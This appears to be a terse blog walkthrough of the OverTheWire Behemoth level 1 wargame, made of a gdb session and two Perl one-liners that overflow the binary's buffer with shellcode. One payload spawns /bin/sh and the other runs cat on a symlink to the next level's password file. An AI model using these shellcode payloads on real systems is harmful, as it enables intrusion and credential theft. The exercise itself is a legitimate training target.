# ssh behemoth1@behemoth.labs.overthewire.org
61657365626f6f746976
behemoth1@melissa$ file /behemoth/behemoth1
behemoth1@melissa$ gdb -q /behemoth/behemoth1
(gdb) set disassembly-flavor intel
(gdb) disassemble main
(gdb) break *0x0804841d
(gdb) run
(gdb) print $esp+0x1d
$1 = (void *) 0xffffd6ed
(gdb) x/64xw $esp
(gdb) print /x $ebp
(gdb) print 0xffffd73c-0xffffd6ed
(gdb) quit
behemoth1@melissa$ (perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\x90"x53 . "\xfd\xd6\xff\xff"' ; cat ) | /behemoth/behemoth1
ENTER
behemoth1@melissa$ ln -s /etc/behemoth_pass/behemoth2 /tmp/b2p
behemoth1@melissa$ perl -e 'print "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x2f\x62\x32\x70\x68\x2f\x74\x6d\x70\x89\xe1\x52\x89\xe2\x51\x53\x89\xe1\xcd\x80" . "\x90"x39 . "\xfd\xd6\xff\xff"' | /behemoth/behemoth1
No comments:
Post a Comment